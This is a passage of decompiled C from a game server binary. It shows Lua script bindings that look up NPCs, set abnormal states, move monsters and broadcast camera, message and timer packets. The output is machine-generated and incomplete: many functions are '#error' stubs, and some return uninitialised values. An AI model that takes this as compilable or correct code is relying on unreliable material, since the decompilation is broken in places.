(funcsize=68)" //----- (005A0F40) -------------------------------------------------------- #error "5A0F40: undefined or illegal type '#593' (funcsize=41)" //----- (005A1000) -------------------------------------------------------- int __cdecl cCurSec(lua_State *L) { signed __int64 v1; // qax@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cCurSec"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cCurSec"; v1 = 3435973837i64 * clockwatch.cw_CurrTick; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; lua_pushnumber(L, (double)(unsigned int)(HIDWORD(v1) >> 3)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cCurSec"); return 1; } //----- (005A10A0) -------------------------------------------------------- int __cdecl cCurrentSecond(lua_State *L) { double v1; // st7@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cCurrentSecond"); v1 = (double)clockwatch.cw_CurrTick; funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cCurrentSecond"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; lua_pushnumber(L, v1 * 0.1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cCurrentSecond"); return 1; } //----- (005A1130) -------------------------------------------------------- void __thiscall AxialListNPCSearch::AxialListNPCSearch(AxialListNPCSearch *this, const char *name, unsigned __int16 *handle) { AxialListNPCSearch *v3; // ebx@1 v3 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v3->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListNPCSearch::_vftable_; *(_DWORD *)&v3->alns_Name.n8_name[28] = 0; *(_DWORD *)&v3->alns_Name.n8_name[24] = 0; *(_DWORD *)&v3->alns_Name.n8_name[20] = 0; *(_DWORD *)&v3->alns_Name.n8_name[16] = 0; *(_DWORD *)&v3->alns_Name.n8_name[12] = 0; *(_DWORD *)&v3->alns_Name.n8_name[8] = 0; *(_DWORD *)&v3->alns_Name.n8_name[4] = 0; *(_DWORD *)&v3->alns_Name.n8_name[0] = 0; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AxialListNPCSearch::AxialListNPCSearch"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListNPCSearch::AxialListNPCSearch"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)&v3->alns_Name.n8_name[28] = 0; *(_DWORD *)&v3->alns_Name.n8_name[24] = 0; *(_DWORD *)&v3->alns_Name.n8_name[20] = 0; *(_DWORD *)&v3->alns_Name.n8_name[16] = 0; *(_DWORD *)&v3->alns_Name.n8_name[12] = 0; *(_DWORD *)&v3->alns_Name.n8_name[8] = 0; *(_DWORD *)&v3->alns_Name.n8_name[4] = 0; *(_DWORD *)&v3->alns_Name.n8_name[0] = 0; strncpy(v3->alns_Name.n8_name, name, 0x20u); v3->alns_Handle = handle; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListNPCSearch::AxialListNPCSearch"); } // 67F594: using guessed type int (__stdcall *AxialListNPCSearch___vftable_[2])(int, int, int distancesquar); //----- (005A1210) -------------------------------------------------------- #error "5A1210: undefined or illegal type '#593' (funcsize=100)" //----- (005A1370) -------------------------------------------------------- int __cdecl cGetNPCHandle(lua_State *L) { const char *v1; // edi@1 const char *v2; // ebp@3 void *v3; // eax@4 void *v4; // edi@4 int v5; // eax@6 int result; // eax@11 char *v7; // [sp+4h] [bp-58h]@2 unsigned __int16 hnd; // [sp+18h] [bp-44h]@1 FunctionEntarance _; // [sp+1Ch] [bp-40h]@1 int v10; // [sp+20h] [bp-3Ch]@8 AxialListNPCSearch ans; // [sp+24h] [bp-38h]@6 unsigned int v12; // [sp+4Ch] [bp-10h]@1 int v13; // [sp+58h] [bp-4h]@1 v12 = (unsigned int)&hnd ^ __security_cookie; _.fe_FunctionCode = "cGetNPCHandle"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cGetNPCHandle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cGetNPCHandle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v13 = 0; v1 = lua_tolstring(L, 1, 0); if ( !v1 ) { v7 = "cGetNPCHandle"; LABEL_10: --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v7); goto LABEL_11; } v2 = lua_tolstring(L, 2, 0); if ( !v2 || (v3 = (void *)FieldContainer::fc_FindMap(&fieldlist, v1), (v4 = v3) == 0) || !FieldMap::fm_GetCenterObject(v3) ) { v7 = "cGetNPCHandle"; goto LABEL_10; } AxialListNPCSearch::AxialListNPCSearch(&ans, v2, &hnd); LOBYTE(v13) = 1; v5 = FieldMap::fm_GetCenterObject(v4); if ( ShineObjectClass::ShineObject::so_AllInMap((void *)v5, (int)&ans, 0) ) { LOBYTE(v13) = 0; ans.baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListNPCSearch::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&ans); v13 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { v10 = hnd; lua_pushnumber(L, (double)hnd); LOBYTE(v13) = 0; ans.baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListNPCSearch::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&ans); v13 = -1; FunctionEntarance::_FunctionEntarance(&_); } LABEL_11: __security_check_cookie((unsigned int)&hnd ^ v12); return result; } // 67F594: using guessed type int (__stdcall *AxialListNPCSearch___vftable_[2])(int, int, int distancesquar); //----- (005A1500) -------------------------------------------------------- void __thiscall AxialQuesterFind::AxialQuesterFind(AxialQuesterFind *this, unsigned int qid, unsigned __int16 *handle, unsigned __int16 *prt) { AxialQuesterFind *v4; // esi@1 v4 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v4->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialQuesterFind::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AxialQuesterFind::AxialQuesterFind"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialQuesterFind::AxialQuesterFind"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4->aqf_PartyRegnum = prt; v4->aqf_QuestID = qid; v4->aqf_Handle = handle; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialQuesterFind::AxialQuesterFind"); } // 67F598: using guessed type int (__stdcall *AxialQuesterFind___vftable_)(int, int, int distancesquar); //----- (005A15B0) -------------------------------------------------------- #error "5A15B0: undefined or illegal type '#593' (funcsize=80)" //----- (005A16D0) -------------------------------------------------------- int __cdecl cGetQuestHero_NPC(lua_State *L) { unsigned int v1; // ebp@1 int v2; // edi@1 char *v3; // ebx@1 int v4; // edi@1 int v5; // ST0C_4@2 int v6; // eax@2 unsigned __int16 hnd; // [sp+18h] [bp-2Ch]@2 unsigned __int16 prt; // [sp+1Ch] [bp-28h]@2 int v10; // [sp+20h] [bp-24h]@5 FunctionEntarance _; // [sp+24h] [bp-20h]@1 AxialQuesterFind aqf; // [sp+28h] [bp-1Ch]@2 int v13; // [sp+40h] [bp-4h]@1 _.fe_FunctionCode = "cGetQuestHero_NPC"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cGetQuestHero_NPC"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cGetQuestHero_NPC"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v13 = 0; v1 = (unsigned __int64)lua_tonumberx(L, 1, 0); v2 = (unsigned __int64)lua_tonumberx(L, 2, 0); v3 = (char *)(unsigned __int64)lua_tonumberx(L, 3, 0); v4 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v2); if ( !v4 ) goto LABEL_4; AxialQuesterFind::AxialQuesterFind(&aqf, v1, &hnd, &prt); LOBYTE(v13) = 1; v5 = ShineObjectClass::ShineObject::so_mob_LastHittedLocation(v4); v6 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); if ( ShineObjectClass::ShineObject::so_AllOfRange((void *)v4, v6, v5, v3, 0, (int)&aqf, 0, 65535) ) { LOBYTE(v13) = 0; aqf.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialQuesterFind::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&aqf); LABEL_4: --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cGetQuestHero_NPC"); return 0; } v10 = hnd; lua_pushnumber(L, (double)hnd); v10 = prt; lua_pushnumber(L, (double)prt); LOBYTE(v13) = 0; aqf.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialQuesterFind::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&aqf); --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cGetQuestHero_NPC"); return 2; } // 67F598: using guessed type int (__stdcall *AxialQuesterFind___vftable_)(int, int, int distancesquar); //----- (005A1890) -------------------------------------------------------- int __cdecl cGetQuestHero_ItemUse(lua_State *L) { const char *v1; // eax@1 void *v2; // eax@2 const char *v3; // eax@4 int result; // eax@5 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v6; // [sp+14h] [bp-4h]@1 _.fe_FunctionCode = "cGetQuestHero_ItemUse"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cGetQuestHero_ItemUse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cGetQuestHero_ItemUse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; lua_tonumberx(L, 1, 0); v1 = lua_tolstring(L, 2, 0); if ( v1 && (v2 = (void *)FieldContainer::fc_FindMap(&fieldlist, v1)) != 0 && FieldMap::fm_GetCenterObject(v2) && (v3 = lua_tolstring(L, 3, 0)) != 0 ) { ItemDataBox::idb_2itemid(&itemdatabox, v3); v6 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 0; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cGetQuestHero_ItemUse"); result = 0; } return result; } //----- (005A1990) -------------------------------------------------------- #error "5A1990: undefined or illegal type '#593' (funcsize=78)" //----- (005A1AB0) -------------------------------------------------------- #error "5A1AB0: undefined or illegal type '#593' (funcsize=62)" //----- (005A1B90) -------------------------------------------------------- #error "5A1B90: undefined or illegal type '#593' (funcsize=64)" //----- (005A1CA0) -------------------------------------------------------- #error "5A1CA0: undefined or illegal type '#593' (funcsize=83)" //----- (005A1DF0) -------------------------------------------------------- int __cdecl cSetAbstate(lua_State *L) { long double v1; // st7@1 void *v2; // esi@1 const char *v3; // eax@2 signed int v4; // edi@4 int v5; // ebx@6 AbnormalStateDictionary::AbState::AbStateStr *v6; // eax@6 int result; // eax@9 int v8; // ST48_4@12 char *v9; // [sp+34h] [bp-28h]@3 int strength; // [sp+48h] [bp-14h]@6 FunctionEntarance _; // [sp+4Ch] [bp-10h]@1 int v12; // [sp+58h] [bp-4h]@1 _.fe_FunctionCode = "cSetAbstate"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cSetAbstate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cSetAbstate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; v1 = lua_tonumberx(L, 1, 0); v2 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, (unsigned __int64)v1); if ( !v2 || (v3 = lua_tolstring(L, 2, 0)) == 0 ) { v12 = -1; v9 = "cSetAbstate"; LABEL_9: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v9); return 0; } v4 = BTree::operator__(&unk_6BD71C, v3); if ( v4 == -1 ) { v12 = -1; LABEL_8: v9 = "cSetAbstate"; goto LABEL_9; } strength = (unsigned __int64)lua_tonumberx(L, 3, 0); v5 = (unsigned __int64)lua_tonumberx(L, 4, 0); v6 = AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, (ABSTATEINDEX)v4); if ( !v6 ) { v12 = -1; goto LABEL_8; } if ( (unsigned __int8)(*(int (__thiscall **)(void *, void *, signed int, int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, _DWORD, _DWORD, int, signed int))(*(_DWORD *)v2 + 1584))( v2, v2, v4, strength, v6, clockwatch.cw_CurrTick, 0, 0, v5, 9) ) { v8 = g_NewAbstateStrength; ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v2, v4); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet(v2, v4, v5, v8); (*(void (__thiscall **)(void *, signed int, int, signed int))(*(_DWORD *)v2 + 1004))(v2, v4, v5, 1); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1316))(v2); lua_pushnumber(L, 1.0); v12 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 1; } else { v12 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 0; } return result; } //----- (005A1FD0) -------------------------------------------------------- #error "5A1FD0: undefined or illegal type '#593' (funcsize=220)" //----- (005A2310) -------------------------------------------------------- int __cdecl cObjectLocate(lua_State *L) { long double v1; // st7@1 int v2; // eax@1 int result; // eax@2 int v4; // eax@3 unsigned int v5; // edi@3 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cObjectLocate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cObjectLocate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1 = lua_tonumberx(L, 1, 0); v2 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, (unsigned __int64)v1); if ( v2 ) { v4 = ShineObjectClass::ShineObject::so_mob_LastHittedLocation(v2); v5 = *(_DWORD *)(v4 + 4); lua_pushnumber(L, (double)*(unsigned int *)v4); lua_pushnumber(L, (double)v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cObjectLocate"); result = 2; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cObjectLocate"); result = 0; } return result; } //----- (005A2450) -------------------------------------------------------- int __cdecl cRunTo(lua_State *L) { long double v1; // st7@1 int v2; // esi@1 int result; // eax@2 signed int v4; // ebp@3 int v5; // edi@5 unsigned __int16 v6; // ax@5 char *v7; // edi@5 int v8; // eax@5 signed int v9; // edx@5 int v10; // ST08_4@5 int v11; // eax@5 int goal; // [sp+34h] [bp-20h]@3 int goal_4; // [sp+38h] [bp-1Ch]@3 AxialListPacketBroadcast alchat; // [sp+3Ch] [bp-18h]@5 int v15; // [sp+50h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cRunTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cRunTo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; v1 = lua_tonumberx(L, 1, 0); v2 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, (unsigned __int64)v1); if ( v2 ) { goal = (unsigned __int64)lua_tonumberx(L, 2, 0); goal_4 = (unsigned __int64)lua_tonumberx(L, 3, 0); v4 = 1000; if ( lua_isnumber(L, 4) ) v4 = (unsigned __int64)lua_tonumberx(L, 4, 0); v5 = *(_DWORD *)v2; v6 = (*(int (__thiscall **)(int, signed int, _DWORD))(*(_DWORD *)v2 + 1300))(v2, 2, 0); (*(void (__thiscall **)(int, AxialListPacketBroadcast *, unsigned int))(v5 + 1624))( v2, &alchat, ((signed int)((unsigned __int64)(v4 * v6 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v4 * v6 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31)); v7 = gpp.pp_Buffer + 2; *(_WORD *)gpp.pp_Buffer = 8218; *(_WORD *)v7 = AxialListNearGateFind::alngf_Gethandle(v2); v8 = ShineObjectClass::ShineObject::so_mob_LastHittedLocation(v2); *(_DWORD *)(v7 + 2) = *(_DWORD *)v8; *(_DWORD *)(v7 + 6) = *(_DWORD *)(v8 + 4); *(_DWORD *)(v7 + 10) = goal; *(_DWORD *)(v7 + 14) = goal_4; v7[20] &= 0xFEu; v9 = (signed int)((unsigned __int64)(v4 * (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1300))(v2) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6; *((_WORD *)v7 + 9) = v9 + ((unsigned int)v9 >> 31); (*(void (__thiscall **)(int, signed int, char *))(*(_DWORD *)v2 + 3092))(v2, 26, v7); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 23); LOBYTE(v15) = 1; v10 = ShineObjectClass::ShineObject::so_mob_LastHittedLocation(v2); v11 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v2, v11, v10, 0, 0, (int)&alchat, 0, 65535); lua_pushnumber(L, 1.0); LOBYTE(v15) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cRunTo"); result = 1; } else { --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cRunTo"); result = 0; } return result; } //----- (005A2680) -------------------------------------------------------- int __cdecl cPermileRate(lua_State *L) { unsigned __int64 v1; // qax@1 unsigned int v2; // ecx@1 char *v3; // ecx@1 int result; // eax@2 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cPermileRate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cPermileRate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1 = (unsigned __int64)lua_tonumberx(L, 1, 0); v2 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v2; v3 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v2]]; HIDWORD(v1) = (*((_DWORD *)v3 + 8192) + 1) & *((_DWORD *)v3 + 8193); *((_DWORD *)v3 + 8192) = HIDWORD(v1); if ( *(_WORD *)&v3[2 * HIDWORD(v1)] >= (signed int)v1 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cPermileRate"); result = 0; } else { lua_pushnumber(L, 1.0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cPermileRate"); result = 1; } return result; } //----- (005A27B0) -------------------------------------------------------- #error "5A27B0: undefined or illegal type '#593' (funcsize=73)" //----- (005A28E0) -------------------------------------------------------- #error "5A28E0: undefined or illegal type '#593' (funcsize=144)" //----- (005A2AD0) -------------------------------------------------------- #error "5A2AD0: undefined or illegal type '#593' (funcsize=104)" //----- (005A2C40) -------------------------------------------------------- #error "5A2C40: undefined or illegal type '#593' (funcsize=87)" //----- (005A2D80) -------------------------------------------------------- #error "5A2D80: undefined or illegal type '#593' (funcsize=218)" //----- (005A3020) -------------------------------------------------------- #error "5A3020: undefined or illegal type '#593' (funcsize=107)" //----- (005A3380) -------------------------------------------------------- #error "5A3380: undefined or illegal type '#593' (funcsize=161)" //----- (005A3590) -------------------------------------------------------- #error "5A3590: undefined or illegal type '#593' (funcsize=88)" //----- (005A36B0) -------------------------------------------------------- int __cdecl cCameraMove(lua_State *L) { const char *v1; // eax@1 void *v2; // eax@2 int result; // eax@3 int v4; // edi@4 int v5; // ebp@6 int v6; // ebx@6 int v7; // eax@6 char *v8; // ecx@7 char *v9; // [sp-8h] [bp-40h]@5 void *v10; // [sp+Ch] [bp-2Ch]@2 int angleXZ; // [sp+10h] [bp-28h]@6 int angleY; // [sp+14h] [bp-24h]@6 int dist; // [sp+18h] [bp-20h]@6 AxialListPacketBroadcast alchat; // [sp+20h] [bp-18h]@7 int v15; // [sp+34h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cCameraMove"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cCameraMove"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; v1 = lua_tolstring(L, 1, 0); if ( v1 && (v2 = (void *)FieldContainer::fc_FindMap(&fieldlist, v1), (v10 = v2) != 0) ) { v4 = FieldMap::fm_GetCenterObject(v2); if ( v4 ) { v5 = (unsigned __int64)lua_tonumberx(L, 2, 0); v6 = (unsigned __int64)lua_tonumberx(L, 3, 0); angleXZ = (unsigned __int64)lua_tonumberx(L, 4, 0); angleY = (unsigned __int64)lua_tonumberx(L, 5, 0); dist = (unsigned __int64)lua_tonumberx(L, 6, 0); v7 = lua_tointegerx(L, 7, 0); if ( v7 < 2 ) { *((_DWORD *)v10 + 105) = v7; v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 27668; v8[2] = v7; *(_DWORD *)(v8 + 3) = v5; *(_DWORD *)(v8 + 7) = v6; *(_WORD *)(v8 + 11) = angleXZ; *(_WORD *)(v8 + 13) = angleY; *(_WORD *)(v8 + 15) = dist; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 17); LOBYTE(v15) = 1; ShineObjectClass::ShineObject::so_AllInMap((void *)v4, (int)&alchat, 0); (*(void (__thiscall **)(int, int, int, int))(*(_DWORD *)v4 + 3208))(v4, v5, v6, dist); LOBYTE(v15) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } v15 = -1; v9 = "cCameraMove"; } else { v15 = -1; v9 = "cCameraMove"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v9); result = 0; } else { --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cCameraMove"); result = 0; } return result; } //----- (005A3890) -------------------------------------------------------- #error "5A3890: undefined or illegal type '#593' (funcsize=122)" //----- (005A3A20) -------------------------------------------------------- #error "5A3A20: undefined or illegal type '#593' (funcsize=289)" //----- (005A3DF0) -------------------------------------------------------- #error "5A3DF0: undefined or illegal type '#593' (funcsize=162)" //----- (005A4000) -------------------------------------------------------- #error "5A4000: undefined or illegal type '#593' (funcsize=111)" //----- (005A4170) -------------------------------------------------------- int __cdecl cGetAreaObject(lua_State *L) { const char *v1; // eax@1 void *v2; // eax@3 int v3; // ebp@3 const char *v4; // eax@5 long double v5; // st7@7 int v6; // eax@7 int v7; // ebx@7 int v8; // ST08_4@8 int v9; // eax@8 int result; // eax@11 FunctionEntarance _; // [sp+18h] [bp-34h]@1 Name8 AreaName; // [sp+1Ch] [bp-30h]@5 unsigned int v13; // [sp+3Ch] [bp-10h]@1 int v14; // [sp+48h] [bp-4h]@1 v13 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "cGetAreaObject"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cGetAreaObject"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cGetAreaObject"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; v1 = lua_tolstring(L, 1, 0); if ( v1 ) { v2 = (void *)FieldContainer::fc_FindMap(&fieldlist, v1); v3 = (int)v2; if ( v2 && FieldMap::fm_GetCenterObject(v2) && (*(_QWORD *)&AreaName.n8_name[24] = 0i64, *(_QWORD *)&AreaName.n8_name[16] = 0i64, *(_QWORD *)&AreaName.n8_name[8] = 0i64, *(_QWORD *)&AreaName.n8_name[0] = 0i64, (v4 = lua_tolstring(L, 2, 0)) != 0) ) { Name8::operator_(&AreaName, v4); v5 = lua_tonumberx(L, 3, 0); v6 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, (unsigned __int64)v5); v7 = v6; if ( v6 && (v8 = ShineObjectClass::ShineObject::so_GetYCoord(v6), v9 = ShineObjectClass::ShineObject::so_GetXCoord(v7), FieldMap::fm_AreaEntry(v3, &AreaName, v9, v8)) ) { lua_pushnumber(L, 1.0); v14 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { v14 = -1; FunctionEntarance::_FunctionEntarance(&_); } } else { --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cGetAreaObject"); } } else { --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cGetAreaObject"); } __security_check_cookie((unsigned int)&_ ^ v13); return result; } //----- (005A4320) -------------------------------------------------------- int __cdecl cScriptMessage(lua_State *L) { int v1; // ebx@1 const char *v2; // eax@1 void *v3; // eax@2 const char *v4; // eax@4 char *v5; // esi@6 char *v6; // ST00_4@6 int v7; // edi@6 int v8; // ebp@6 const char *v9; // eax@7 const char *v10; // ecx@8 char v11; // dl@9 unsigned __int8 v12; // cl@10 const void *v13; // esi@10 int v14; // eax@10 char *v16; // [sp-4h] [bp-40h]@5 signed int v17; // [sp+10h] [bp-2Ch]@6 char *pScriptMessage; // [sp+14h] [bp-28h]@6 int v19; // [sp+18h] [bp-24h]@6 int v20; // [sp+1Ch] [bp-20h]@3 AxialListPacketBroadcast alchat; // [sp+24h] [bp-18h]@12 int v22; // [sp+38h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cScriptMessage"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cScriptMessage"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1 = 0; v22 = 0; v2 = lua_tolstring(L, 1, 0); if ( v2 && (v3 = (void *)FieldContainer::fc_FindMap(&fieldlist, v2)) != 0 && (v20 = FieldMap::fm_GetCenterObject(v3)) != 0 && (v4 = lua_tolstring(L, 2, 0)) != 0 ) { v5 = gpp.pp_Buffer + 2; v6 = gpp.pp_Buffer + 2; pScriptMessage = gpp.pp_Buffer + 2; *(_WORD *)gpp.pp_Buffer = 27669; strncpy(v6, v4, 0x1Fu); v7 = -29 - (_DWORD)v5; v8 = (int)(v5 + 32); v19 = -29 - (_DWORD)v5; v17 = 5; do { v9 = lua_tolstring(L, v7 + v8, 0); *(_BYTE *)v8 = 0; if ( v9 ) { v10 = v9; do v11 = *v10++; while ( v11 ); v12 = (_BYTE)v10 - ((_BYTE)v9 + 1); *(_BYTE *)v8 = v12; v13 = v9; HIWORD(v14) = HIWORD(pScriptMessage); memcpy(&pScriptMessage[(unsigned __int16)v1 + 37], v13, v12); LOWORD(v14) = *(_BYTE *)v8; v7 = v19; v1 += v14; } ++v8; --v17; } while ( v17 ); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, (unsigned __int16)v1 + 39); LOBYTE(v22) = 1; ShineObjectClass::ShineObject::so_AllInMap((void *)v20, (int)&alchat, 0); LOBYTE(v22) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v22 = -1; v16 = "cScriptMessage"; } else { v22 = -1; v16 = "cScriptMessage"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v16); return 0; } //----- (005A44D0) -------------------------------------------------------- #error "5A44D0: undefined or illegal type '#593' (funcsize=106)" //----- (005A4640) -------------------------------------------------------- #error "5A4640: undefined or illegal type '#593' (funcsize=131)" //----- (005A47F0) -------------------------------------------------------- int __cdecl cTimer(lua_State *L) { const char *v1; // eax@1 void *v2; // eax@2 int result; // eax@3 int v4; // edi@4 unsigned __int64 v5; // qax@6 char *v6; // ecx@6 AxialListPacketBroadcast alchat; // [sp+18h] [bp-18h]@6 int v8; // [sp+2Ch] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cTimer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cTimer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; v1 = lua_tolstring(L, 1, 0); if ( v1 && (v2 = (void *)FieldContainer::fc_FindMap(&fieldlist, v1)) != 0 ) { v4 = FieldMap::fm_GetCenterObject(v2); if ( v4 ) { v5 = (unsigned __int64)lua_tonumberx(L, 2, 0); v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 27670; *((_WORD *)v6 + 1) = v5; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); LOBYTE(v8) = 1; ShineObjectClass::ShineObject::so_AllInMap((void *)v4, (int)&alchat, 0); lua_pushnumber(L, 1.0); LOBYTE(v8) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cTimer"); result = 1; } else { --funcallanalizer.fca_stackpoint; 